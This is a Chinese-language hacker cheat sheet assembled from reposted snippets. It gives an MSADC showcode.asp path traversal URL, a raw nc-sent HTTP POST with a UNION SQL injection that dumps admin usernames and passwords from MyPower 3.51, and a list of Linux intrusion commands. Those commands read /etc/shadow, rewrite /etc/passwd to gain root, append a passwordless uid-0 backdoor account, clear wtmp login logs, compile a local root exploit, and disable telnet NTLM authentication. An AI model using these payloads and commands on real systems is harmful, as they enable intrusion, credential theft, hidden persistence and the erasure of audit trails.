MSADC

文件夹绝对路径
c:\Program Files\Common Files\System\MSADC\Samples\

先关可利用URL(/msadc/samples/必须要跟，源码是web路径中的)
http://12.34.56.78/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../default.asp

MY动力(MyPower)3.51注入漏洞手动利用

c:\>nc www.site.com 80<send.txt

//send.txt

POST /Article_Print.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Microsoft URL Control - 6.01.9782

Host: www.site.com

Content-Length: 277

Cache-Control: no-cache

ArticleID=1000%20union%20(select%20top%201%201,1,'user:'%2busername%2bchr(124),'pass:'%2bpassword%2bchr(124),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20(select%20top%201%20username,password%20from%20admin%20order%20by%20username)%20order%20by%20username%20desc)

相关工具:动力文章v3.51注入程序（http://www.3800hk.com/Soft/zhly/18573.html）

查admin表记录数量，POST如下

ArticleID=1000%20union%20(select%20top%201%201,1,1,count(*),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20admin)

[转载]linux入侵常用命令

From:http://blog.homedz.com/article.asp?id=141

给自己省事了，呵呵

cat /etc/passwd 查看linux用户
cat /etc/shadow 查看用户密码需要root权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
ifconfig 查看本机ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反弹的shell中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候，一般你会有一个类似bash$的prompt。当你以Root登陆时，你的prompt会变成
bash#。
系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running

service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启ssh服务 ：/usr/sbin/sshd stop
/usr/sbin/sshd start
ssd_config文件里
PasswordAuthentication no,
将其改为
PasswordAuthentication yes
远程ssh才可登录
否则显示Access denied

其中Usepam yes可能用来建立pam方式login，比如从其它linux主机ssh到服务端，如果关闭，则不能打开.

su的菜鸟用法
先chomod 777 /etc/passwd
然后修改bin用户的gid和uid为0
然后passwd设置bin的密码
然后cp /bin/bash /sbin/nologin
然后su的时候su - bin就可以到rootshell了。
这个原理就是当ssh不允许root用ssh终端登陆的时候，我们又不知道root密码，的一种很菜鸟的做法
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd

gcc prtcl2.c –o local –static –Wall

echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

清空last记录 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的

命令行简单辨别域主机

ipconfig /all 命令查看是否有Primary Dns Suffix这一项，有则在域中。

当然也可以用systeminfo命令直接查看，不过速度没有此命令快。

去除NTLM验证

命令行法1:tlntadmn config sec = -ntlm

2003SP2测试成功，但网上有些朋友说经常测试不成功。

改注册表法貌似好像也只在2003下测试通过，不记得了。